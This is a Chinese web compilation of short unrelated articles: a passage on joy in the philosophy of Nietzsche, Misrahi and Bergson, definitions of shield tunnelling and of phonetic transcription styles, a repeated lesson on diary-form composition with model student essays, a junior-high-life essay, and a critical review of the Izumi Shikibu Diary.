这位德国哲学家认为：喜悦是一场战斗，因为人类的存在遭受着两种对抗力量的夹击，本身就是一场持续、悲剧性的冲突。在如此境地下，喜悦容易走向极端，变成近乎迷醉的情绪。好在随后，自我会逐渐恢复平静，并在面临困境时变成一种肯定的力量：我无法改变这件事这种状况，那么我接受它，欢迎它。
尼采召唤我们：“来吧，生活就在此时此地！”
■幸福正是通过大量喜悦实现的
罗伯特·密斯哈黑（Robert Misrahi），当代哲学家
密斯哈黑是研究斯宾诺莎的专家，他把喜悦作为自己的思想核心，
他提醒我们：即使在悲剧性的形势下，我们仍然可以选择喜悦，用它来战胜不幸。我们可以学会播种喜悦，比如在脑海中回味喜悦，并牢记我们人类与机器的不同：我们始终是自由的。令人愉悦的事情会让我们产生喜悦的情绪，但真正的喜悦，是“整个身体和精神的快乐，伴随着人对自己的依附”。喜悦是一种持续、必然的存在方式。至于幸福，它是众多喜悦累积的结果。
■喜悦，见证生活的成功
亨利·柏格森（Henri Bergson,1859～1941）
亨利·柏格森是独一无二的“喜悦”哲学家。对这位法国思想家来说，喜悦是生活正在取得成功的最好证明。如何区分喜悦和快乐呢？喜悦更深刻、持久和真实。它总是让人感觉到它与我们的存在全然融合与和谐。
快乐对我们有好处，它对于激励我们自我繁殖和保存物种（比如性快乐）至关重要，但它不包含喜悦所承载的精神层面。当我们致力于提升对人性的认知，当我们努力改善自己的内心，并把努力的成果传递出去与人分享，我们就体会到喜悦。任何人如果提升了某个创造性的好思想，改善了人和事物的原有秩序，那么他/她就会到达喜悦的境界。
■“注视自己孩子的母亲是喜悦的”
布里吉特·希特邦-佩雍（Brigitte Sitbon-Peillon），社会学家
对于我们的这个时代，柏格森的思想有很强的现实性，因为这个时代无节制地追求自私的快乐和冲动的消费，我们正消耗着惊人的人力、财力和物力。这些快乐昙花一现，是一次性的，它们与“安详”很难兼容，却局限于机械的重复中。
喜悦则相反，它要求人们付出努力，做出创造性的、利他的举动。注视自己孩子的母亲是喜悦的，因为她知道自己从身体上和精神上创造了这个孩子，而这个孩子将来也许会改变我们的时代。一个老板在企业得到壮大、赚很多钱的时候会感到快乐，但他只有在创造和构建这个企业时才会感到喜悦。
艺术家在自己的作品得到承认时会心情愉快，也会为自己的名气沾沾自喜，但他之所以感到喜悦，是因为不仅他的想法美好而富有创造性，而且作品表达了自己的内心。这种喜悦的冲动是生命所必须的，它是慷慨的，是可以感染和传播的。因此，只要主动地创造和分享，我们每个人都能够感受到喜悦。 （来源：《心理月刊》）
测试：你的喜悦是尼采式的吗？
篇25：什么是土压平衡式盾构？
，
它的前端有一个全断面切削刀盘，在它后面有一个贮留切削土体的密封舱，在其中心处或下方装有长筒形的螺旋输送机，在密封舱和螺旋输送机，以及在盾壳四周装设的土压传感装置，根据需要还可装设改善切削土体流动性的塑流化材料的注入设备。
篇26：什么是严式标音和宽式标音
严式标音和宽式标音 的区别
用音标标记语音的方法叫标音法。一般分为严式标音法和宽式标音法两种。
要记录一种语音，最初的方法应当是严式标音。
所谓宽式标音，是在严式标音的基础上，整理处一种语音的音位系统，然后按音位来标记语音，也就是只记音位，不记音位变体及其它非本质的伴随现象。因此，宽式标音又称为“音位标音”。例如，现代汉语中，舌面低元音有[ε]、[A]、[a]、[ɑ ]等多个，用宽式标音只用/a/就可以了。用宽式标音，可以把音标数目限制在有限范围之内，因而能把一种语言或方言的音系反映得简明清晰。
所谓严式标音，就是出现什么音素就记录什么音素，有什么伴随现象就记录什么伴随现象。无论什么音素和什么伴随现象都不放过，也就是最忠实、最细致的记录语音的原貌。所以，严式标音又称为“音素标音”。例如，现代汉语中，较低的舌面元音可归纳为一个音位/a/，若用严式标音，则必须分别标为[ε]、[A]、[a]、[ɑ]、[œ]、[æ]等。它的特点就是，对一种语言或方言中实际存在的每一个音素（不论它们是否属于同一个音位），都用特定的音标加以标记。因此，严式标音使用的音标很多，对语音的刻画描写很细致，大多是在调查第一手材料时使用，在其它场合只是间或使用。
篇27：教案创新的作文教案和日记叙写式
创新作文教案及日记叙写式
【策略提醒】
日记体文章是利用日记的形式，围绕一个中心，选取记录几个生活片断或心灵感悟来完成写作，‘教案’创新作文教案、日记叙写式。
日记体文章感觉亲切，小巧玲珑，新颖别致，同时容纳面广，表达方式灵活，能理想解决容纳大量材料，跨越长远的时空，巧妙过渡等问题，能灵活选用自己擅长的表达方式来完成主题的表达。日记体写作虽省去了诸多谋篇之烦，但仍需仔细考虑其它问题：选材要切题、典型、新颖；材料间的关系既要求相对独立又有内在联系；语言要避免生活日记般的平淡，更不能写成流水帐。
采用日记体写作时格式要求并不严格。有时只简单标注日期就够了。但也有一些小技巧可以采用，如天气的阴晴可做心情的暗示，题记、后记、感悟类文字的出现可显露主题等。
【例文赏析】
那段日子，有点尘埃【以尘埃为喻，巧拟题目。】
那是一段没有阳光的日子，心灵世界只有风暴和潮汐。
--题记
【题记总起，显露主题。】
20xx年2月22日
走进家门，奶奶的灵牌和遗照迎接了我。好似刺刀在我的心脏来回穿插的痛，传遍我周身，奶奶，在这近一个月没有您的日子里，我的心里空荡荡的，灵魂在过去的日子中游荡--大椿树下清亮亮的泉水映出祖孙二人，奶奶粗糙的手侍弄着湿漉漉的头发，金色的阳光，跃动的泡泡，奶奶的手好温柔。夏夜里，素白的蚊帐中，祖孙二人躺在凉席上说着夜话，床那边我抱着奶奶的脚认真地听，不知不觉中就睡着了。这一切是多么美好阿！然而平静的大海突然波涛汹涌，吞噬了一切。奶奶摔倒了，离开了我们。我回忆不起我的哭喊、号叫，只记得我心灵的痛。【睹今思昔，强烈的对比中写出逝去亲人之痛。】
20xx年3月23日
爸爸明天就要走了，去上海打工。奶奶一走，爸爸也没什么牵挂了，况且我读书需要钱。晚上，我为他收拾衣服，一件一件都是破的，我止住了眼眶中的泪水，五十多岁的他让沧桑的岁月磨得更加苍老。吃晚饭的时候，爸爸突然抬起头，以少有的那种温情对我说：“我和你妈离婚后，你就和我相伴，十四年我都没有离开过你，到了上海，我只想你。”我端着喝汤的碗来掩住我的脸。“我知道你也会想我的，毕竟父女连心。”一向不善言辞的他突然冒了一句，让我的眼泪扑扑地直往下掉，一颗颗落入碗中。碗里的声音，爸爸你听到了吗?【笔触凝重，情感真挚。读这段文字，我们会不由自主的想起朱自清先生的《背影》，何其相似！】
20xx年4月6日
特别喜欢听《黄昏》，喜欢它的颓废，喜欢它的悲伤，更喜欢它的回忆。那流血的声音使人悲痛欲绝。我一遍一遍地听，让那悲伤撞击我的心灵，让我知道我的痛不算什么。我勾勒着那凄艳的黄昏，一大片一大片的荒草，慵懒的黄与那灼艳的红融合，带着点橙色，似乎酸酸的，涩涩的。一轮摇摇欲坠又依依不舍的日头，留恋着美好的一切，荒草丛中躺着伤心的人儿，望着落日那近乎绝望的美。【借《黄昏》写悲苦的心情。】
20xx年4月23日
傍晚，街道上的风很凉，我不禁抱住双臂，如寒风中的草儿。实在没什么意思，我突然想和大自然做斗争，跑到冷饮店接连吃了三支雪糕，喝了一瓶冰水，站在冷柜边的婆婆都说：“小姑娘，别吃了，会生病的。”我看着老婆婆，突然从她的眼神里找到了我许久没有享受到的东西--那种怜爱又略带责备。我不敢再呆下去，付了钱飞奔出门，我又哭了，我又想起了奶奶。路过烧饼店，想起奶奶的手艺，于是买了一个啃着。回去碰到数学老师，他问我为什么数学考砸了，我没有说话。我更觉得对不起奶奶，对不起爸爸，我怎能用急剧下滑的成绩来回报他们?【此片断写悲苦情感的渲泄。老奶奶的出现是匠心之笔，自然就有了后面的醒悟自问了。】
后记：其实我不是一个悲观的人，在那段我最亲的人一个死去一个为我离开的日子，我虽然孤独悲伤，但我还是挺过来了。在每写一篇日记时都没有哭，我已经学会不用泪水来渲泄痛苦了。【后记解说，深化主题，面对悲苦，要学会坚强。】
【例文点评】
文章情感真挚，催人泪下。作者用日记的形式，再现了一段真实的心灵历程，既叙写故事，又渲泄情感，表现了自己的孤独悲伤。读此文，恐怕我们已忽视了书信体文章结构巧成、新颖灵活等特点了，而只重于那深重的情感了。冷静之余，我们应认识到：①巧用日记体，实现了本文时空的长远跨越，实现了冗繁材料的缀连；②选材精当，如不采用日记体，材料三是很难插入的；③题记与后记的灵活出现，更好地体现了主题。
【范文品读】
生命花开
成长是在一刹那，生命花开，心灯闪亮…
20xx年3月18日星期五阴
今天看了《读者》上的一篇文章，叫《老鼠百变》，一只小老鼠乞求山神爷依次把它变为猫、狗、狼、大象，最后它又去乞求山神爷把它变回老鼠。可惜已经晚了。读完，我沉思了片刻，仿佛自己就是这只小老鼠，时而想变成雄师，自由奔跑；时而又想变成雄鹰，能自由飞翔…而我却从来没想过一个人应该切切实实地做些什么。我羡慕别人渊博的知识，嫉妒别人美好的气质，但我却从未考虑过怎样才能追上甚至超越他们。
感悟：羡慕别人是没有用的，每个人都有自己的优点和缺点，只有拥有自信，取长补短，才能使自己更完美。
20xx年3月19日星期六阴转小雨
“学校最新消息，本市今年采取优待政策，觉得自己考不上高中的同学可以去技校，学费特别优惠，开学三个月后开始拿工资…”老班一进教室就开始广播，并让我们放假后和父母商量一下，看有没有想去的。我暗想：“打死我也不会去，肯定是骗人。”老班继续敲警钟：“不去的都得规规矩矩地坐在教室里，静下心来学习，离中考只有…”我彷徨了，望着黑板上那醒目的“距中考仅剩83天”的字样，开始思考我的前途；“我的前方是什么样子?我还要走多远?”渐渐地，我发现，既然我选择了上学，就要付出汗水，不管前方还有多远，路有多难！
感悟：如果自己是真的觉悟了，就要付出行动，并努力做好它。
20xx年3月22日星期二晴
我一直在思索。佛曰：“苦海无边，回头是岸。”可是当我回头时，只看到白茫茫的一片。不管前进还是后退，离岸都有很长一段距离了。所以说，苦海无边是真的，回头是岸却是假的。除了拼命往前游之外，我别无选择。
20xx年3月23日星期三晴
其实，我一直很努力。我不禁回想起往日，一次次在昏黄的路灯下背诵英语单词，一次次在课间十分钟时还游戈于数、理、化的题海之中。从《捕蛇者说》到《君子于役》，从“先秦繁星”到“汉宫秋月”，我在学习中体验着艰辛与快乐。现在正是关键时刻，我要为了心中的梦想而更加艰苦地奋斗！
20xx年3月24日星期四晴
晚自习是语文，“哲学家”黄老师又开始发表言论了，还是关于上技校的。我想了想，其实他说得很对，学习很累，不学习固然轻松，但这并不意味着就上了天堂，而是在一步步地走向地狱，“哲学家”还举了他的学生的例子，有力地证明了读书的好处。我开始沉思：“如果我失去了读书的机会，会是什么样子?”很难想象，我不禁打了个寒战。我想，即使我的成绩再差，也要在中考中搏一搏，我是不会轻易放弃自己的学业的。
感悟：能抓住的机会，千万不能让它溜掉，俗话说：过了这个村，就没在个店了。
一周之内，我觉得自己一下子蹿了好高，我突然明白：一个人真正的成长是从内心开始的！
【仿写题例】
1、军训生活日记；
2、以“理解”“成长”“奋斗”等为话题进行日记体写作。
篇28：日记式作文初中生活1100字
当你背着新书包，迈进初中校园的第一步时，就已开始你的初中生活了。 你可以交到许多的朋友，和他们一起分享你的喜怒哀乐。当你体会到初中生活的快乐时，不知不觉中已临近中考了。
初中生活，像一瓶陈醋，尝起来酸酸的。仿佛你考试发挥不理想，感觉酸酸的，好想扑在朋友坏里大哭一场。
初中生活，像一罐蜂蜜，品起来甜甜的。当你获得一分荣誉时，心里会比吃了蜜还甜，感觉很开心。
初中生活，像一碗中药，喝起来苦苦的。就像你被老师冤枉时，不免有些伤心，而这些伤心，正和那无人爱喝的中药一样，令人无法忘记它的苦味道。
初中生活，像一串辣椒，吃起来辣辣的。正如你的朋友受欺负，你好似吃了辣椒一般，心中的怒火正熊熊燃烧着，无法浇灭，直到你为朋友找回公道。
初一无知
刚进入初一，自己的第一感觉就是这里真热闹，如同一座人间天堂。可是往后的日子里我的思想却发生了360度的大转弯，比鲁迅弃医从文的速度快多了。我发现这里的一切都变的那么单调：永不变更的两点一线，无休无止的考试，老师的唠叨，同学的戏弄，我觉得这里简直就是一座“人间地狱”。失望、沮丧就像虫子一样咬噬着我的心。我开始厌恶这可怕的生活了，整天价无所事事，从来不考虑我是来干什么的，初一的一年里，自己一无所成，初一这宝贵的一年就这样让我消耗了。
初二潇洒
初二时，我和大多数男生一样，整天的追求时尚。今天大吹神侃贝克汉姆沧海横流，显英雄本色，明天又对宿茂臻破工体不败、千里走单骑佩服得五体投地。流行歌曲更如同儿时在田野燃起的草烟一样，时刻缭绕在心间，有时上课都忍不住它的诱惑，在老师的“眼皮底下”哼了起来。记不清多少回嘲笑缓慢的时间似乎只会步履维艰地爬行，每天只是心急如焚地等待着下课，等待着放学。就这样，初二不但一无所学，反而又使我增添了许多的不良习惯。 初三觉醒
刚迈入初三，总以为老狼的那把旧吉它弹奏的忧伤是永远的遥遥无期，当面对政史地生会考的通知时，我知道中考的硝烟已开始在我们的生活里弥漫了。班主任将冰心的名言“成功的花，人们只惊慕它现时的明艳。当初她的芽浸透了奋斗的泪泉，撒遍了牺牲的血雨”送给我，鼓励我;当我在考试多次失利而想放弃时，远在异地求学的姐姐来信告诉我，没必要因叶落而悲秋，也没必要因挫折而放弃。因为一花凋零荒芜不了整个春天，一次挫折荒废不了整个人生。就这样，我的思想开始转变，开始懂得了羞耻与自尊，懂得了时间的重要。初二时的一些恶习，被我彻底抛弃，我开始认真学习，成绩不是很高，但是我在学习中找到了乐趣。我真正的初中生活是从初三开始的，是初三使我唤醒了自己，使我认识了自己，更使我懂得了学习的重要。
朋友，初中生活是一个精彩的过程，只要你在这个过程中，努力奋斗，不言放弃，这将是你一生中最美的过程。快乐也精彩，苦恼也精彩。
. 这就是初中生活，一个充满欢声笑语的初中生活，一个充满喜怒哀乐的初中生活，一个充满酸甜苦辣的初中生活。
朋友，请珍惜你的初中生活吧，它是那样的美好，同时又是那样的短暂
篇29：教案创新的作文教案和日记叙写式
教案创新的作文教案和日记叙写式
创新作文教案及日记叙写式
【策略提醒】
日记体文章是利用日记的形式，围绕一个中心，选取记录几个生活片断或心灵感悟来完成写作，‘教案’创新作文教案、日记叙写式。
日记体文章感觉亲切，小巧玲珑，新颖别致，同时容纳面广，表达方式灵活，能理想解决容纳大量材料，跨越长远的时空，巧妙过渡等问题，能灵活选用自己擅长的表达方式来完成主题的表达。日记体写作虽省去了诸多谋篇之烦，但仍需仔细考虑其它问题：选材要切题、典型、新颖；材料间的关系既要求相对独立又有内在联系；语言要避免生活日记般的平淡，更不能写成流水帐。
采用日记体写作时格式要求并不严格。有时只简单标注日期就够了。但也有一些小技巧可以采用，如天气的阴晴可做心情的暗示，题记、后记、感悟类文字的出现可显露主题等。
【例文赏析】
那段日子，有点尘埃【以尘埃为喻，巧拟题目。】
那是一段没有阳光的日子，心灵世界只有风暴和潮汐。
--题记
【题记总起，显露主题。】
20xx年2月22日
走进家门，奶奶的灵牌和遗照迎接了我。好似刺刀在我的心脏来回穿插的痛，传遍我周身，奶奶，在这近一个月没有您的日子里，我的心里空荡荡的，灵魂在过去的日子中游荡--大椿树下清亮亮的泉水映出祖孙二人，奶奶粗糙的手侍弄着湿漉漉的头发，金色的阳光，跃动的泡泡，奶奶的手好温柔。夏夜里，素白的蚊帐中，祖孙二人躺在凉席上说着夜话，床那边我抱着奶奶的脚认真地听，不知不觉中就睡着了。这一切是多么美好阿！然而平静的大海突然波涛汹涌，吞噬了一切。奶奶摔倒了，离开了我们。我回忆不起我的哭喊、号叫，只记得我心灵的痛。【睹今思昔，强烈的对比中写出逝去亲人之痛。】
20xx年3月23日
爸爸明天就要走了，去上海打工。奶奶一走，爸爸也没什么牵挂了，况且我读书需要钱。晚上，我为他收拾衣服，一件一件都是破的，我止住了眼眶中的泪水，五十多岁的他让沧桑的.岁月磨得更加苍老。吃晚饭的时候，爸爸突然抬起头，以少有的那种温情对我说：“我和你妈离婚后，你就和我相伴，十四年我都没有离开过你，到了上海，我只想你。”我端着喝汤的碗来掩住我的脸。“我知道你也会想我的，毕竟父女连心。”一向不善言辞的他突然冒了一句，让我的眼泪扑扑地直往下掉，一颗颗落入碗中。碗里的声音，爸爸你听到了吗?【笔触凝重，情感真挚。读这段文字，我们会不由自主的想起朱自清先生的《背影》，何其相似！】
20xx年4月6日
特别喜欢听《黄昏》，喜欢它的颓废，喜欢它的悲伤，更喜欢它的回忆。那流血的声音使人悲痛欲绝。我一遍一遍地听，让那悲伤撞击我的心灵，让我知道我的痛不算什么。我勾勒着那凄艳的黄昏，一大片一大片的荒草，慵懒的黄与那灼艳的红融合，带着点橙色，似乎酸酸的，涩涩的。一轮摇摇欲坠又依依不舍的日头，留恋着美好的一切，荒草丛中躺着伤心的人儿，望着落日那近乎绝望的美。【借《黄昏》写悲苦的心情。】
20xx年4月23日
傍晚，街道上的风很凉，我不禁抱住双臂，如寒风中的草儿。实在没什么意思，我突然想和大自然做斗争，跑到冷饮店接连吃了三支雪糕，喝了一瓶冰水，站在冷柜边的婆婆都说：“小姑娘，别吃了，会生病的。”我看着老婆婆，突然从她的眼神里找到了我许久没有享受到的东西--那种怜爱又略带责备。我不敢再呆下去，付了钱飞奔出门，我又哭了，我又想起了奶奶。路过烧饼店，想起奶奶的手艺，于是买了一个啃着。回去碰到数学老师，他问我为什么数学考砸了，我没有说话。我更觉得对不起奶奶，对不起爸爸，我怎能用急剧下滑的成绩来回报他们?【此片断写悲苦情感的渲泄。老奶奶的出现是匠心之笔，自然就有了后面的醒悟自问了。】
后记：其实我不是一个悲观的人，在那段我最亲的人一个死去一个为我离开的日子，我虽然孤独悲伤，但我还是挺过来了。在每写一篇日记时都没有哭，我已经学会不用泪水来渲泄痛苦了。【后记解说，深化主题，面对悲苦，要学会坚强。】
【例文点评】
文章情感真挚，催人泪下。作者用日记的形式，再现了一段真实的心灵历程，既叙写故事，又渲泄情感，表现了自己的孤独悲伤。读此文，恐怕我们已忽视了书信体文章结构巧成、新颖灵活等特点了，而只重于那深重的情感了。冷静之余，我们应认识到：①巧用日记体，实现了本文时空的长远跨越，实现了冗繁材料的缀连；②选材精当，如不采用日记体，材料三是很难插入的；③题记与后记的灵活出现，更好地体现了主题。
【范文品读】
生命花开
成长是在一刹那，生命花开，心灯闪亮…
20xx年3月18日星期五阴
今天看了《读者》上的一篇文章，叫《老鼠百变》，一只小老鼠乞求山神爷依次把它变为猫、狗、狼、大象，最后它又去乞求山神爷把它变回老鼠。可惜已经晚了。读完，我沉思了片刻，仿佛自己就是这只小老鼠，时而想变成雄师，自由奔跑；时而又想变成雄鹰，能自由飞翔…而我却从来没想过一个人应该切切实实地做些什么。我羡慕别人渊博的知识，嫉妒别人美好的气质，但我却从未考虑过怎样才能追上甚至超越他们。
感悟：羡慕别人是没有用的，每个人都有自己的优点和缺点，只有拥有自信，取长补短，才能使自己更完美。
20xx年3月19日星期六阴转小雨
“学校最新消息，本市今年采取优待政策，觉得自己考不上高中的同学可以去技校，学费特别优惠，开学三个月后开始拿工资…”老班一进教室就开始广播，并让我们放假后和父母商量一下，看有没有想去的。我暗想：“打死我也不会去，肯定是骗人。”老班继续敲警钟：“不去的都得规规矩矩地坐在教室里，静下心来学习，离中考只有…”我彷徨了，望着黑板上那醒目的“距中考仅剩83天”的字样，开始思考我的前途；“我的前方是什么样子?我还要走多远?”渐渐地，我发现，既然我选择了上学，就要付出汗水，不管前方还有多远，路有多难！
感悟：如果自己是真的觉悟了，就要付出行动，并努力做好它。
20xx年3月22日星期二晴
我一直在思索。佛曰：“苦海无边，回头是岸。”可是当我回头时，只看到白茫茫的一片。不管前进还是后退，离岸都有很长一段距离了。所以说，苦海无边是真的，回头是岸却是假的。除了拼命往前游之外，我别无选择。
20xx年3月23日星期三晴
其实，我一直很努力。我不禁回想起往日，一次次在昏黄的路灯下背诵英语单词，一次次在课间十分钟时还游戈于数、理、化的题海之中。从《捕蛇者说》到《君子于役》，从“先秦繁星”到“汉宫秋月”，我在学习中体验着艰辛与快乐。现在正是关键时刻，我要为了心中的梦想而更加艰苦地奋斗！
20xx年3月24日星期四晴
晚自习是语文，“哲学家”黄老师又开始发表言论了，还是关于上技校的。我想了想，其实他说得很对，学习很累，不学习固然轻松，但这并不意味着就上了天堂，而是在一步步地走向地狱，“哲学家”还举了他的学生的例子，有力地证明了读书的好处。我开始沉思：“如果我失去了读书的机会，会是什么样子?”很难想象，我不禁打了个寒战。我想，即使我的成绩再差，也要在中考中搏一搏，我是不会轻易放弃自己的学业的。
感悟：能抓住的机会，千万不能让它溜掉，俗话说：过了这个村，就没在个店了。
一周之内，我觉得自己一下子蹿了好高，我突然明白：一个人真正的成长是从内心开始的！
【仿写题例】
1、军训生活日记；
2、以“理解”“成长”“奋斗”等为话题进行日记体写作。
篇30： 读《和泉式部日记》有感
读《和泉式部日记》有感
花了5、6个小时看完了《和泉式部日记》，一本一千多年前的日本女作家写的作品，是日本古典文学作品之一。若是在读高中那时期读，大概会稍稍有些感动，但现在这个年纪读，如果不是古代人写日记体，我大概会觉得这是作者是在讽刺那些用情不专的人。
说实话，看这本书的时候全然没有译者林文月所写的“感动于书中所流露的欢悦、犹豫、浪漫、愁伤。爱情之为物，委实不可思议。”这种感受。我只觉得，这压根就是一个女版胡兰成，将自己的滥情描述得理所当然。
大概是因为自己没有过情感经历，我实在无法理解，明明不久前还表现得爱的死去活来，分手后很快就可以投入下一段感情这种行为。本书的女主更是让人无语，前任过世仅一年多就勾搭上前任的.弟弟敦道亲王。
上一秒还说着：“夜漫漫兮寝难安，悲苦妾身袖常湿，梦亦不成兮自心酸。”来表达因为追忆前任为尊亲王而寝食难安、夜不能寐，下一秒就默许了男主欲与其共度良宵的行为，那男主也是可笑至极，面对女主的“欲拒还迎”，居然还说“我本不是可以率尔出游的身份，如今就算是被怪罪轻举妄动，也没有办法，可恼这深情竟是如此难以抑制啊”，简直颠覆了我的三观。
后来俩人的鸿雁传书、秘密幽会真是看得让人不知作何评价。
女主素有风流多情的名声，书中多次出现“谣言”这个词，读来真是有强自为自己洗白的嫌疑，尽管多次强调，我仍觉得，一个人的名声在外总不会空穴来风的，如果自己品行端正的话又怎会出现这样的谣传。更有趣的是，男主几次怀疑女主有其他男人，多次借此揶揄女主，这也太搞笑了!如此不信任，还敢说自己爱得死去活来?!爱一个人不是就要信任对方吗?连信任都没有，还敢言爱。而女主在被揶揄时的反应也是很奇怪，正常人被喜欢的人误会有第三者，不该是生气吗?要是我，估计早就气得一巴掌扇过去了，再爱也分了。那女主的反应居然是泣涕涟涟装可怜，……自尊哪去了?好歹也是一个才女，居然连自尊和骄傲都没有。
读此书，还有个感觉，就是男女主都太作太矫情。
本来觉得鸿雁传书是很浪漫的一件事，在这本书里我却全然感觉不到浪漫，只有明目张胆的调情。看书的时候，我反而同情那送信的小厮，这两位主人的书信来往简直太频繁了。可明明是类似情书的字句，在我看来却满满的油腻感，实在受不了这么叽叽歪歪没完没了的诉相思苦。
前期女主玩欲擒故纵的把戏时，说要出家当尼姑;后期就在女主好不容易下定决心要搬入男主住所的时候，男主居然生出了要出家当和尚的想法，这要么是终于撩到手了反而怂了，要么就是矫情到家了。他们真是天生一对。
我觉得他们俩像极了徐志摩和陆小曼。徐志摩和陆小曼合作出版过一本《爱眉小札》，书中是徐志摩和陆小曼在上个世纪二十年代顶住来自家庭和社会各方面的压力真心相爱、相许，所写下的一组日记和书信，我一章都没看完就看不下去，实在受不了那些肉麻到让人起鸡皮疙瘩的语句，至此，对徐志摩和陆小曼再无好感。
我很反感太过热烈的爱。爱并不是靠说靠玩文字游戏来维持的啊。相比于动不动就说我爱你，还不如生活中嘘寒问暖来得体贴暖心。
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